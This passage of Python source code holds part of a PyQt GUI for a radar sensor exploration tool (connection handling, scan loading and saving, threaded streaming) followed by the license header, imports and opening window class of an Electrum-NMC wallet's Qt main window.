self.basic_processing_config_section.body_widget.setEnabled(True) self.buttons["service_defaults"].setEnabled(False) self.buttons["advanced_defaults"].setEnabled(False) processing_config._state = configbase.Config.State.LIVE else: self.basic_processing_config_section.body_widget.setEnabled(False) self.buttons["connect"].setEnabled(False) self.enable_tabs(False) self.set_gui_state("scan_is_running", True) def set_gui_state(self, state, val): if state in self.gui_states: self.gui_states[state] = val elif state is None: pass else: print("{} is an unknown state!".format(state)) return states = self.gui_states # Visible, enabled, text # Start button self.buttons["start"].setEnabled(all([ self.in_supported_mode or states["load_state"] == LoadState.LOADED, not states["scan_is_running"], not states["has_config_error"], states["server_connected"] or states["load_state"] == LoadState.LOADED, ])) if states["load_state"] == LoadState.LOADED: self.buttons["start"].setText("New measurement") else: self.buttons["start"].setText("Start measurement") # Stop button self.buttons["stop"].setEnabled(states["scan_is_running"]) # Save to file button self.buttons["save_scan"].setEnabled(all([ states["load_state"] != LoadState.UNLOADED, not states["scan_is_running"], ])) # Load from file button self.buttons["load_scan"].setEnabled(not states["scan_is_running"]) # Replay button self.buttons["replay_buffered"].setEnabled(all([ states["load_state"] != LoadState.UNLOADED, not states["scan_is_running"], ])) # Data source self.labels["data_source"].setVisible( bool(states["load_state"] == LoadState.LOADED and self.data_source)) try: text = "Loaded " + os.path.basename(self.data_source) except Exception: text = "" if len(text) > 50: text = text[: 47] + "..." self.labels["data_source"].setText(text) # Sweep buffer self.labels["sweep_buffer"].setVisible(states["load_state"] != LoadState.LOADED) self.textboxes["sweep_buffer"].setVisible(states["load_state"] != LoadState.LOADED) self.textboxes["sweep_buffer"].setEnabled(not states["scan_is_running"]) # Stored frames if states["load_state"] == LoadState.LOADED: text = "Number of frames" else: text = "Buffered frames" self.labels["stored_frames"].setText(text) try: num_stored = len(self.data.data) except Exception: num_stored = 0 self.textboxes["stored_frames"].setText(str(num_stored)) # RSS version lbl = self.labels["rssver"] try: strict_ver = states["connection_info"]["strict_version"] except Exception: strict_ver = None if strict_ver is not None: if strict_ver < StrictVersion(SDK_VERSION): ver_mismatch = "RSS server" elif strict_ver > StrictVersion(SDK_VERSION): ver_mismatch = "Exploration Tool" else: ver_mismatch = None text = "RSS v" + str(strict_ver) if ver_mismatch: text += " ({} upgrade recommended)".format(ver_mismatch) lbl.setStyleSheet("QLabel {color: red}") else: lbl.setStyleSheet("") lbl.setText(text) lbl.show() else: lbl.hide() # Unsupported mode warning visible = self.in_supported_mode is not None and not self.in_supported_mode self.labels["unsupported_mode"].setVisible(visible) # Other sensor_config = self.get_sensor_config() if sensor_config: if states["load_state"] == LoadState.LOADED: sensor_config._state = configbase.Config.State.LOADED_READONLY elif not states["scan_is_running"]: sensor_config._state = configbase.Config.State.LOADED else: sensor_config._state = configbase.Config.State.LIVE for sensor_widget in self.sensor_widgets.values(): sensor_widget.setEnabled(not states["scan_is_running"]) self.set_multi_sensors() self.buttons["sensor_defaults"].setEnabled(not states["scan_is_running"]) if state == "server_connected": connected = val if connected: self.buttons["connect"].setText("Disconnect") self.buttons["connect"].setStyleSheet("QPushButton {color: red}") self.buttons["advanced_port"].setEnabled(False) self.set_multi_sensors() else: self.buttons["connect"].setText("Connect") self.buttons["connect"].setStyleSheet("QPushButton {color: black}") self.buttons["advanced_port"].setEnabled(True) self.statusBar().showMessage("Not connected") if state == "ml_tab": tab = val self.feature_sidepanel.select_mode(val) self.server_section.hide() self.basic_processing_config_section.hide() self.basic_sensor_config_section.hide() self.advanced_sensor_config_section.hide() self.session_info_section.hide() self.control_section.hide() self.feature_section.hide() self.textboxes["sweep_buffer_ml"].hide() self.textboxes["sweep_buffer"].hide() self.module_dd.show() if tab == "main": if states["server_connected"]: self.basic_sensor_config_section.show() self.advanced_sensor_config_section.show() self.server_section.show() self.control_section.show() self.textboxes["sweep_buffer"].show() self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) self.session_info_section.show() elif tab == "feature_select": self.feature_section.button_event(override=False) if states["server_connected"]: self.basic_sensor_config_section.show() self.advanced_sensor_config_section.show() self.server_section.show() self.feature_section.show() self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) self.set_sensors(self.get_sensors(widget_name="main")) self.feature_select.check_limits() elif tab == "feature_extract": self.server_section.show() self.control_section.show() self.feature_section.button_event(override=False) self.feature_section.show() self.module_dd.hide() self.buttons["start"].setText("Start extraction") self.textboxes["sweep_buffer_ml"].show() self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) self.set_sensors(self.get_sensors(widget_name="main")) if self.ml_feature_plot_widget is None: self.feature_extract.init_graph() self.ml_feature_plot_widget = self.feature_extract.plot_widget elif tab == "feature_inspect": self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) self.feature_section.show() self.feature_inspect.update_frame("frames", 1, init=True) self.feature_inspect.update_sliders() elif tab == "model_select": self.panel_scroll_area_widget.setCurrentWidget(self.training_sidepanel) elif tab == "train": self.panel_scroll_area_widget.setCurrentWidget(self.training_sidepanel) elif tab == "eval": if states["server_connected"]: self.basic_sensor_config_section.show() self.advanced_sensor_config_section.show() self.server_section.show() self.control_section.show() self.feature_section.show() self.textboxes["sweep_buffer"].show() self.panel_scroll_area_widget.setCurrentWidget(self.main_sublayout_widget) if self.ml_eval_model_plot_widget is None: self.eval_model.init_graph() self.ml_eval_model_plot_widget = self.eval_model.plot_widget if state == "ml_model_loaded": allow_edit = not val if self.ml_state.get_state("model_source") == "internal": allow_edit = True elif self.ml_state.get_state("model_source") is None: allow_edit = True self.set_gui_state("ml_sensor_settings_locked", val) self.gui_states["ml_overwrite_settings"] = False self.model_select.allow_layer_edit(allow_edit) self.feature_select.allow_feature_edit(not val) self.module_dd.setEnabled(not val) if state == "ml_overwrite_settings": if self.ml_state.get_state("settings_locked"): warning = "Do you really want to unlock model settings?" warning += "\nThis will use GUI values when saving or evaluationg the model!" detailed = "The model might stop working, if you change sensor/feature settings!" detailed += "\n When saving, GUI settings will be used to overwrite the settings!" if self.warning_message(warning, detailed_warning=detailed): self.feature_select.allow_feature_edit(True) self.set_gui_state("ml_sensor_settings_locked", False) if state == "ml_sensor_settings_locked": self.basic_sensor_config_section.body_widget.setEnabled(not val) self.advanced_sensor_config_section.body_widget.setEnabled(not val) self.ml_state.set_state("settings_locked", val) if states["ml_mode"] and hasattr(self, "feature_select"): config_is_valid = self.feature_select.is_config_valid() self.feature_select.buttons["start"].setEnabled(all([ states["server_connected"] or states["load_state"] == LoadState.LOADED, not states["scan_is_running"], not states["has_config_error"], config_is_valid, ])) self.feature_select.buttons["stop"].setEnabled(states["scan_is_running"]) self.feature_select.buttons["replay_buffered"].setEnabled(all([ states["load_state"] != LoadState.UNLOADED, not states["scan_is_running"], config_is_valid, ])) self.feature_select.check_limits() def get_gui_state(self, state): if state in self.gui_states: return self.gui_states[state] else: print("{} is an unknown state!".format(state)) return def stop_scan(self): self.sig_scan.emit("stop", "", None) if not self.get_gui_state("ml_sensor_settings_locked"): self.module_dd.setEnabled(True) self.buttons["connect"].setEnabled(True) self.basic_processing_config_section.body_widget.setEnabled(True) processing_config = self.get_processing_config() if isinstance(processing_config, configbase.Config): self.buttons["service_defaults"].setEnabled(True) self.buttons["advanced_defaults"].setEnabled(True) processing_config._state = configbase.Config.State.LOADED self.checkboxes["opengl"].setEnabled(True) self.set_gui_state("replaying_data", False) self.enable_tabs(True) self.set_gui_state("scan_is_running", False) def set_log_level(self): log_level = logging.INFO if self.checkboxes["verbose"].isChecked(): log_level = logging.DEBUG utils.set_loglevel(log_level) def connect_to_server(self): if not self.get_gui_state("server_connected"): if self.interface_dd.currentText().lower() == "socket": host = self.textboxes["host"].text() self.client = clients.SocketClient(host) statusbar_connection_info = "socket ({})".format(host) elif self.interface_dd.currentText().lower() == "spi": self.client = clients.SPIClient() statusbar_connection_info = "SPI" elif self.interface_dd.currentText().lower() == "simulated": self.client = clients.MockClient() statusbar_connection_info = "simulated interface" else: port = self.ports_dd.currentText() if not port: self.error_message("Please select port first!") return port, *_ = port.split(" ") if self.override_baudrate: print("Warning: Overriding baudrate ({})!".format(self.override_baudrate)) self.client = clients.UARTClient(port, override_baudrate=self.override_baudrate) statusbar_connection_info = "UART ({})".format(port) self.client.squeeze = False try: info = self.client.connect() except Exception: text = "Could not connect to server" info_text = None if isinstance(self.client, clients.UARTClient): info_text = ( "Did you select the right COM port?" " Try unplugging and plugging back in the module!" ) self.error_message(text, info_text=info_text) return self.rss_version = info.get("version_str", None) connected_sensors = [1] # for the initial set self.sensors_available = [1] # for the sensor widget(s) if isinstance(self.client, clients.SocketClient): sensor_count = min(info.get("board_sensor_count", 4), 4) self.sensors_available = list(range(1, sensor_count + 1)) if sensor_count > 1: config = configs.SparseServiceConfig() connected_sensors = [] for i in range(sensor_count): sensor = i + 1 config.sensor = sensor try: self.client.start_session(config) self.client.stop_session() except clients.base.SessionSetupError: pass except Exception: self.error_message("Could not connect to server") return else: connected_sensors.append(sensor) elif isinstance(self.client, clients.MockClient): self.sensors_available = list(range(1, 5)) if not connected_sensors: self.error_message("No sensors connected, check connections") try: self.client.disconnect() except Exception: pass return if not self.get_gui_state("ml_sensor_settings_locked"): self.set_sensors(connected_sensors) self.set_gui_state("server_connected", True) self.set_gui_state("load_state", LoadState.UNLOADED) self.set_gui_state("connection_info", info) self.statusBar().showMessage("Connected via {}".format(statusbar_connection_info)) if self.current_module_info.module is None: self.module_dd.setCurrentIndex(1) else: self.sensors_available = None self.set_gui_state("server_connected", False) self.set_gui_state("connection_info", None) self.sig_scan.emit("stop", "", None) try: self.client.stop_session() except Exception: pass try: self.client.disconnect() except Exception: pass def load_gui_settings_from_sensor_config(self, config=None): # TODO return def save_gui_settings_to_sensor_config(self): # TODO return self.get_sensor_config() def update_service_params(self): if isinstance(self.get_processing_config(), configbase.Config): return self.get_processing_config() errors = [] mode = self.current_module_label if mode not in self.service_labels: return None for key in self.service_labels[mode]: entry = self.service_labels[mode][key] if "box" in entry: er = False val = self.is_float(entry["box"].text(), is_positive=False) limits = entry["limits"] default = entry["default"] if val is not False: val, er = self.check_limit(val, entry["box"], limits[0], limits[1], set_to=default) else: er = True val = default entry["box"].setText(str(default)) if er: errors.append("{:s} must be between {:s} and {:s}!\n".format( key, str(limits[0]), str(limits[1]))) self.service_params[key]["value"] = self.service_params[key]["type"](val) elif "checkbox" in entry: self.service_params[key]["value"] = entry["checkbox"].isChecked() if "send_process_data" in key: if self.advanced_process_data["use_data"]: if self.advanced_process_data["process_data"] is not None: data = self.advanced_process_data["process_data"] self.service_params["send_process_data"]["value"] = data else: data = self.service_params["send_process_data"]["text"] print(data + " data not available") else: self.service_params["send_process_data"]["value"] = None if len(errors): self.error_message("".join(errors)) return self.service_params def is_float(self, val, is_positive=True): try: f = float(val) if is_positive and f <= 0: raise ValueError("Not positive") return f except Exception: return False def check_limit(self, val, field, start, end, set_to=None): out_of_range = False try: float(val) except (ValueError, TypeError): val = start out_of_range = True if val < start: val = start out_of_range = True if val > end: val = end out_of_range = True if out_of_range: if set_to is not None: val = set_to field.setText(str(val)) return val, out_of_range def load_scan(self, restart=False): if restart: self.set_gui_state("load_state", LoadState.LOADED) self.start_scan(from_file=True) return options = QtWidgets.QFileDialog.Options() options |= QtWidgets.QFileDialog.DontUseNativeDialog filename, _ = QtWidgets.QFileDialog.getOpenFileName( self, "Load scan", "", "HDF5 data files (*.h5);; NumPy data files (*.npz)", options=options ) if not filename: return try: record = recording.load(filename) except Exception: traceback.print_exc() self.error_message(( "Failed to load file" "\n\n" "Note: loading data fetched with RSS v1 is not supported. To load old data, please" " use an older version of the Exploration Tool." )) return try: if record.module_key is None: raise Exception module_info = MODULE_KEY_TO_MODULE_INFO_MAP[record.module_key] index = self.module_dd.findText(module_info.label, QtCore.Qt.MatchFixedString) except Exception: has_loaded_module = False print("Can't find the module for the loaded data") else: has_loaded_module = True if index == -1: has_loaded_module = False if not has_loaded_module: # Just try loading the data in the service-only module try: module_info = MODULE_KEY_TO_MODULE_INFO_MAP[record.mode.name.lower()] index = self.module_dd.findText(module_info.label, QtCore.Qt.MatchFixedString) except Exception: self.error_message("Unknown mode in loaded file") return self.module_dd.setCurrentIndex(index) self.update_canvas() self.data = record sensor_config = self.get_sensor_config() sensor_config._loads(record.sensor_config_dump) # Order is important for the following 3 calls self.set_multi_sensors() self.set_sensors(sensor_config.sensor) self.set_gui_state("load_state", LoadState.LOADED) if has_loaded_module: processing_config = self.get_processing_config() if isinstance(processing_config, configbase.ProcessingConfig): if record.processing_config_dump is not None: try: processing_config._loads(record.processing_config_dump) except Exception: traceback.print_exc() else: try: self.load_legacy_processing_config_dump(record) except Exception: traceback.print_exc() self.data_source = filename self.start_scan(from_file=True) def save_scan(self, record): if len(record.data) == 0: self.error_message("No data to save") return options = QtWidgets.QFileDialog.Options() options |= QtWidgets.QFileDialog.DontUseNativeDialog title = "Save scan" file_types = "HDF5 data files (*.h5);; NumPy data files (*.npz)" filename, info = QtWidgets.QFileDialog.getSaveFileName( self, title, "", file_types, options=options) if not filename: return record.mode = self.get_sensor_config().mode record.module_key = self.current_module_info.key record.processing_config_dump = None record.legacy_processing_config_dump = None processing_config = self.get_processing_config() if isinstance(processing_config, configbase.Config): record.processing_config_dump = processing_config._dumps() else: try: self.save_legacy_processing_config_dump_to_record(record) except Exception: traceback.print_exc() try: if "h5" in info: recording.save_h5(filename, record) else: recording.save_npz(filename, record) except Exception as e: traceback.print_exc() self.error_message("Failed to save file:\n {:s}".format(e)) def load_legacy_processing_config_dump(self, record): try: d = json.loads(record.legacy_processing_config_dump) except Exception: return assert isinstance(self.get_processing_config(), dict) for k, v in d.items(): try: param = self.service_params[k] objtype = param.get("type", None) if objtype is None: continue v = objtype(v) self.service_params[k]["value"] = v box = self.service_labels[self.current_module_info.label][k]["box"] box.setText(str(v)) except Exception: traceback.print_exc() def save_legacy_processing_config_dump_to_record(self, record): if not (self.service_params and isinstance(self.service_params, dict)): return d = {} for key in self.service_params: if key == "processing_handle": continue try: val = self.service_params[key]["value"] json.dumps(val) # Make sure it's serializable d[key] = val except Exception: traceback.print_exc() if d: record.legacy_processing_config_dump = json.dumps(d) def handle_advanced_process_data(self, action=None): load_text = self.buttons["load_process_data"].text() try: data_text = self.service_params["send_process_data"]["text"] except Exception as e: print("Function not available! \n{}".format(e)) return if action == "save": if self.advanced_process_data["process_data"] is not None: options = QtWidgets.QFileDialog.Options() options |= QtWidgets.QFileDialog.DontUseNativeDialog title = "Save " + load_text file_types = "NumPy data files (*.npy)" fname, info = QtWidgets.QFileDialog.getSaveFileName( self, title, "", file_types, options=options) if fname: try: np.save(fname, self.advanced_process_data["process_data"]) except Exception as e: self.error_message("Failed to save " + load_text + "{}".format(e)) return self.advanced_process_data["use_data"] = True self.buttons["load_process_data"].setText(load_text.replace("Load", "Unload")) self.buttons["load_process_data"].setStyleSheet("QPushButton {color: red}") else: self.error_message(data_text + " data not availble!".format()) elif action == "load": loaded = False if "Unload" not in load_text: mode = self.current_module_label dialog = HandleAdvancedProcessData(mode, data_text, self) dialog.exec_() data = dialog.get_data() if data is not None: loaded = True dialog.deleteLater() if loaded: self.advanced_process_data["use_data"] = True self.advanced_process_data["process_data"] = data self.buttons["load_process_data"].setText(load_text.replace("Load", "Unload")) self.buttons["load_process_data"].setStyleSheet("QPushButton {color: red}") else: self.buttons["load_process_data"].setText(load_text.replace("Unload", "Load")) self.buttons["load_process_data"].setStyleSheet("QPushButton {color: black}") self.advanced_process_data["use_data"] = False self.advanced_process_data["process_data"] = None else: print("Process data action not implemented") def thread_receive(self, message_type, message, data=None): if "error" in message_type: if message_type == "session_setup_error": error = "Failed to setup session (bad config)!\n" if "socket" in self.interface_dd.currentText().lower(): error += "Check that selected sensors are connected and working!\n" error += "Check Streaming server log for erros!" self.error_message(error) elif "client" in message_type: self.stop_scan() if self.get_gui_state("server_connected"): self.connect_to_server() elif "proccessing" in message_type: self.stop_scan() self.error_message("{}".format(message)) elif message_type == "scan_data": if self.get_gui_state("load_state") != LoadState.LOADED: self.data = data self.data_source = None self.set_gui_state("load_state", LoadState.BUFFERED) elif message_type == "scan_done": self.stop_scan() elif "update_external_plots" in message_type: if data is not None: self.update_external_plots(data) elif "sweep_info" in message_type: self.update_sweep_info(data) elif "session_info" in message_type: self.session_info = data self.reload_pg_updater(session_info=data) self.session_info_view.update(self.session_info) elif "process_data" in message_type: self.advanced_process_data["process_data"] = data elif "set_sensors" in message_type: self.set_sensors(data) else: print("Thread data not implemented!") print(message_type, message, data) def update_external_plots(self, data): if isinstance(data, dict) and data.get("ml_plotting") is True: if self.get_gui_state("ml_tab") == "feature_extract": self.ml_feature_plot_widget.update(data) elif self.get_gui_state("ml_tab") == "feature_select": self.feature_select.plot_feature(data) elif self.get_gui_state("ml_tab") == "eval": self.ml_eval_model_plot_widget.update(data) self.ml_data = data else: self.plot_queue.append(data) def plot_timer_fun(self): if not self.plot_queue: return data, *self.plot_queue = self.plot_queue[-2:] self.service_widget.update(data) def update_sweep_info(self, infos): if not isinstance(infos, list): # If squeezed infos = [infos] missed = any([e.get("missed_data", False) for e in infos]) saturated = any([e.get("data_saturated", False) for e in infos]) data_quality_warning = any([e.get("data_quality_warning", False) for e in infos]) if missed: self.num_missed_frames += 1 self.num_recv_frames += 1 show_lim = int(1e6) num_missed_show = min(self.num_missed_frames, show_lim) missed_sym = ">" if num_missed_show >= show_lim else "" num_recv_show = min(self.num_recv_frames, show_lim) recv_sym = ">" if num_recv_show >= show_lim else "" text = "Frames: {:s}{:d} (missed {:s}{:d})".format( recv_sym, num_recv_show, missed_sym, num_missed_show, ) self.labels["sweep_info"].setText(text) if data_quality_warning: self.labels["data_warnings"].setText("Warning: Bad data quality, restart service!") elif saturated: self.labels["data_warnings"].setText("Warning: Data saturated, reduce gain!") self.labels["data_warnings"].setVisible(saturated or data_quality_warning) if self.get_gui_state("load_state") != LoadState.LOADED: try: text = str(min(self.num_recv_frames, int(self.textboxes["sweep_buffer"].text()))) except Exception: text = "" self.textboxes["stored_frames"].setText(text) def start_up(self): if not self.under_test: if os.path.isfile(self.LAST_CONF_FILENAME): try: last = np.load(self.LAST_CONF_FILENAME, allow_pickle=True) self.load_last_config(last.item()) except Exception as e: print("Could not load settings from last session\n{}".format(e)) if os.path.isfile(self.LAST_ML_CONF_FILENAME) and self.get_gui_state("ml_mode"): try: last = np.load(self.LAST_ML_CONF_FILENAME, allow_pickle=True) self.feature_select.update_feature_list(last.item()["feature_list"]) self.feature_sidepanel.set_frame_settings(last.item()["frame_settings"]) self.model_select.update_layer_list(last.item()["model_layers"]) self.feature_sidepanel.last_folder = last.item().get("last_folder", None) except Exception as e: print("Could not load ml settings from last session\n{}".format(e)) def load_last_config(self, last_config): # Restore sensor configs (configbase) dumps = last_config.get("sensor_config_dumps", {}) for key, conf in self.module_label_to_sensor_config_map.items(): if key in dumps: dump = last_config["sensor_config_dumps"][key] try: conf._loads(dump) except Exception: print("Could not load sensor config for \'{}\'".format(key)) conf._reset() # TODO: load module defaults # Restore processing configs (configbase) dumps = last_config.get("processing_config_dumps", {}) for key, conf in self.module_label_to_processing_config_map.items(): if key in dumps: dump = last_config["processing_config_dumps"][key] try: conf._loads(dump) except Exception: print("Could not load processing config for \'{}\'".format(key)) conf._reset() # Restore misc. settings self.textboxes["sweep_buffer"].setText(last_config["sweep_buffer"]) self.interface_dd.setCurrentIndex(last_config["interface"]) self.ports_dd.setCurrentIndex(last_config["port"]) self.textboxes["host"].setText(last_config["host"]) if last_config.get("override_baudrate"): self.override_baudrate = last_config["override_baudrate"] # Restore processing configs (legacy) if last_config["service_settings"]: for module_label in last_config["service_settings"]: processing_config = self.get_default_processing_config(module_label) if not processing_config: continue if isinstance(processing_config, configbase.Config): continue self.add_params(processing_config, start_up_mode=module_label) labels = last_config["service_settings"][module_label] for key in labels: if "checkbox" in labels[key]: checked = labels[key]["checkbox"] self.service_labels[module_label][key]["checkbox"].setChecked(checked) elif "box" in labels[key]: text = str(labels[key]["box"]) self.service_labels[module_label][key]["box"].setText(text) def closeEvent(self, event=None): # Legacy processing params service_params = {} for mode in self.service_labels: if service_params.get(mode) is None: service_params[mode] = {} for key in self.service_labels[mode]: if service_params[mode].get(key) is None: service_params[mode][key] = {} if "checkbox" in self.service_labels[mode][key]: checked = self.service_labels[mode][key]["checkbox"].isChecked() service_params[mode][key]["checkbox"] = checked elif "box" in self.service_labels[mode][key]: val = self.service_labels[mode][key]["box"].text() service_params[mode][key]["box"] = val sensor_config_dumps = {} for module_label, config in self.module_label_to_sensor_config_map.items(): try: sensor_config_dumps[module_label] = config._dumps() except AttributeError: pass processing_config_dumps = {} for module_label, config in self.module_label_to_processing_config_map.items(): try: processing_config_dumps[module_label] = config._dumps() except AttributeError: pass last_config = { "sensor_config_dumps": sensor_config_dumps, "processing_config_dumps": processing_config_dumps, "host": self.textboxes["host"].text(), "sweep_buffer": self.textboxes["sweep_buffer"].text(), "interface": self.interface_dd.currentIndex(), "port": self.ports_dd.currentIndex(), "service_settings": service_params, "override_baudrate": self.override_baudrate, } if not self.under_test: np.save(self.LAST_CONF_FILENAME, last_config, allow_pickle=True) if self.get_gui_state("ml_mode"): try: last_ml_config = { "feature_list": self.feature_select.get_feature_list(), "frame_settings": self.feature_sidepanel.get_frame_settings(), "model_layers": self.model_select.get_layer_list( include_inactive_layers=True ), "last_folder": self.feature_sidepanel.last_folder, } except Exception: pass else: np.save(self.LAST_ML_CONF_FILENAME, last_ml_config, allow_pickle=True) try: self.client.disconnect() except Exception: pass self.close() def get_sensor_config(self): module_info = self.current_module_info if module_info.module is None: return None module_label = module_info.label config = self.module_label_to_sensor_config_map[module_label] if len(self.get_sensors()): config.sensor = self.get_sensors() else: config.sensor = [1] self.set_sensors([1]) return config def get_processing_config(self, module_label=None): if module_label is None: module_info = self.current_module_info else: module_info = MODULE_LABEL_TO_MODULE_INFO_MAP[module_label] if module_info.module is None: return None module_label = module_info.label return self.module_label_to_processing_config_map[module_label] def get_default_processing_config(self, module_label=None): if module_label is not None: module_info = MODULE_LABEL_TO_MODULE_INFO_MAP[module_label] else: module_info = self.current_module_info module = module_info.module if module is None or not hasattr(module, "get_processing_config"): return {} return module.get_processing_config() @property def in_supported_mode(self): try: return self.get_sensor_config().mode in self.client.supported_modes except (AttributeError, TypeError): return None class Threaded_Scan(QtCore.QThread): sig_scan = pyqtSignal(str, str, object) def __init__(self, params, parent=None): QtCore.QThread.__init__(self, parent) self.client = parent.client self.radar = parent.radar self.sensor_config = params["sensor_config"] self.params = params self.data = parent.data self.parent = parent self.running = True self.finished.connect(self.stop_thread) def stop_thread(self): self.quit() def run(self): if self.params["data_source"] == "stream": record = None try: session_info = self.client.setup_session(self.sensor_config) self.emit("session_info", "", session_info) self.radar.prepare_processing(self, self.params, session_info) self.client.start_session() except clients.base.SessionSetupError: self.running = False self.emit("session_setup_error", "") except Exception as e: traceback.print_exc() self.emit("client_error", "Failed to setup streaming!\n" "{}".format(self.format_error(e))) self.running = False try: while self.running: info, sweep = self.client.get_next() self.emit("sweep_info", "", info) _, record = self.radar.process(sweep, info) except Exception as e: traceback.print_exc() msg = "Failed to communicate with server!\n{}".format(self.format_error(e)) self.emit("client_error", msg) try: self.client.stop_session() except Exception: pass if record is not None and len(record.data) > 0: self.emit("scan_data", "", record) elif self.params["data_source"] == "file": self.emit("session_info", "ok", self.data.session_info) try: self.radar.prepare_processing(self, self.params, self.data.session_info) self.radar.process_saved_data(self.data, self) except Exception as e: traceback.print_exc() error = self.format_error(e) self.emit("processing_error", "Error while replaying data:<br>" + error) else: self.emit("error", "Unknown mode %s!" % self.mode) self.emit("scan_done", "", "") def receive(self, message_type, message, data=None): if message_type == "stop": if self.running: self.running = False self.radar.abort_processing() elif message_type == "update_feature_extraction": self.radar.update_feature_extraction(message, data) elif message_type == "update_feature_list": self.radar.update_feature_list(data) else: print("Scan thread received unknown signal: {}".format(message_type)) def emit(self, message_type, message, data=None): self.sig_scan.emit(message_type, message, data) def format_error(self, e): exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] err = "{}\n{}\n{}\n{}".format(exc_type, fname, exc_tb.tb_lineno, e) return err def sigint_handler(gui): event = threading.Event() thread = threading.Thread(target=watchdog, args=(event,)) thread.start() gui.closeEvent() event.set() thread.join() def watchdog(event): flag = event.wait(1) if not flag: print("\nforcing exit...") os._exit(1) if __name__ == "__main__": if lib_version_up_to_date(): utils.config_logging(level=logging.INFO) app = QApplication(sys.argv) ex = GUI() signal.signal(signal.SIGINT, lambda *_: sigint_handler(ex)) # Makes sure the signal is caught timer = QtCore.QTimer() timer.timeout.connect(lambda: None) timer.start(200) sys.exit(app.exec_())
main_window.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import sys, time, threading import os, json, traceback import shutil import weakref import webbrowser import csv from decimal import Decimal import base64 from functools import partial from PyQt5.QtGui import * from PyQt5.QtCore import * import PyQt5.QtCore as QtCore from .exception_window import Exception_Hook from PyQt5.QtWidgets import * from electrum_nmc import keystore, simple_config from electrum_nmc.bitcoin import COIN, is_address, TYPE_ADDRESS from electrum_nmc import constants from electrum_nmc.plugins import run_hook from electrum_nmc.i18n import _ from electrum_nmc.util import (format_time, format_satoshis, format_fee_satoshis, format_satoshis_plain, NotEnoughFunds, PrintError, UserCancelled, NoDynamicFeeEstimates, profiler, export_meta, import_meta, bh2u, bfh, InvalidPassword, base_units, base_units_list, base_unit_name_to_decimal_point, decimal_point_to_base_unit_name, quantize_feerate) from electrum_nmc import Transaction from electrum_nmc import util, bitcoin, commands, coinchooser from electrum_nmc import paymentrequest from electrum_nmc.wallet import Multisig_Wallet, AddTransactionException from .amountedit import AmountEdit, BTCAmountEdit, MyLineEdit, FeerateEdit from .qrcodewidget import QRCodeWidget, QRDialog from .qrtextedit import ShowQRTextEdit, ScanQRTextEdit from .transaction_dialog import show_transaction from .fee_slider import FeeSlider from .util import * class StatusBarButton(QPushButton): def __init__(self, icon, tooltip, func): QPushButton.__init__(self, icon, '') self.setToolTip(tooltip) self.setFlat(True) self.setMaximumWidth(25) self.clicked.connect(self.onPress) self.func = func self.setIconSize(QSize(25,25)) def onPress(self, checked=False): '''Drops the unwanted PyQt5 "checked" argument''' self.func() def keyPressEvent(self, e): if e.key() == Qt.Key_Return: self.func() from electrum_nmc.paymentrequest import PR_PAID class ElectrumWindow(QMainWindow, MessageBoxMixin, PrintError): payment_request_ok_signal = pyqtSignal() payment_request_error_signal = pyqtSignal() notify_transactions_signal = pyqtSignal() new_fx_quotes_signal = pyqtSignal() new_fx_history_signal = pyqtSignal() network_signal = pyqtSignal(str, object) alias_received_signal = pyqtSignal() computing_privkeys_signal = pyqtSignal() show_privkeys_signal = pyqtSignal() def __init__(self, gui_object, wallet): QMainWindow.__init__(self) self.gui_object = gui_object self.config = config = gui_object.config self.setup_exception_hook() self.network = gui_object.daemon.network self.fx = gui_object.daemon.fx self.invoices = wallet.invoices self.contacts = wallet.contacts self.tray = gui_object.tray self.app = gui_object.app self.cleaned_up = False self.is_max = False self.payment_request = None self.checking_accounts = False self.qr_window = None self.not_enough_funds = False self.pluginsdialog = None self.require_fee_update = False self.tx_notifications = [] self.tl_windows = [] self.tx_external_keypairs = {} self.create_status_bar() self.need_update = threading.Event() self.decimal_point = config.get('decimal_point', 5) self.num_zeros = int(config.get('num_zeros',0)) self.completions = QStringListModel() self.tabs = tabs = QTabWidget(self) self.send_tab = self.create_send_tab() self.receive_tab = self.create_receive_tab() self.addresses_tab = self.create_addresses_tab() self.utxo_tab = self.create_utxo_tab() self.console_tab = self.create_console_tab() self.contacts_tab = self.create_contacts_tab() tabs.addTab(self.create_history_tab(), QIcon(":icons/tab_history.png"), _('History')) tabs.addTab(self.send_tab, QIcon(":icons/tab_send.png"), _('Send')) tabs.addTab(self.receive_tab, QIcon(":icons/tab_receive.png"), _('Receive')) def add_optional_tab(tabs, tab, icon, description, name): tab.tab_icon = icon tab.tab_description = description tab.tab_pos = len(tabs) tab.tab_name = name if self.config.get('show_{}_tab'.format(name), False): tabs.addTab(tab, icon, description.replace("&", "")) add_optional_tab(tabs, self.addresses_tab, QIcon(":icons/tab_addresses.png"), _("&Addresses"), "addresses") add_optional_tab(tabs, self.utxo_tab, QIcon(":icons/tab_coins.png"), _("Co&ins"), "utxo") add_optional_tab(tabs, self.contacts_tab, QIcon(":icons/tab_contacts.png"), _("Con&tacts"), "contacts") add_optional_tab(tabs, self.console_tab, QIcon(":icons/tab_console.png"), _("Con&sole"), "console") tabs.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) self.setCentralWidget(tabs) if self.config.get("is_maximized"): self.showMaximized() 